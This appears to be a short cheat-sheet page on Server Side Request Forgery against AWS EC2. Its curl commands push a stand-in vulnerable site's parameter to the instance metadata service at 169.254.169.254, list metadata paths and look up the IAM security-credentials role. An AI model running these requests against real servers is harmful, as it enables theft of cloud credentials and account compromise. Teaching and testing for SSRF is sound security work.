Server Side Request Forgery (SSRF)
Server Side Request Forgery attacks can lead to the compromising of AWS EC2 IAM Roles
Overview
Accessing EC2 IMDS Metadata
curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/user-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
[SNIP]curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/
ec2-application-role # note the role name will be different (if there is one)IMDSv1 and v2
Metadata Service Info
Endpoints
Last updated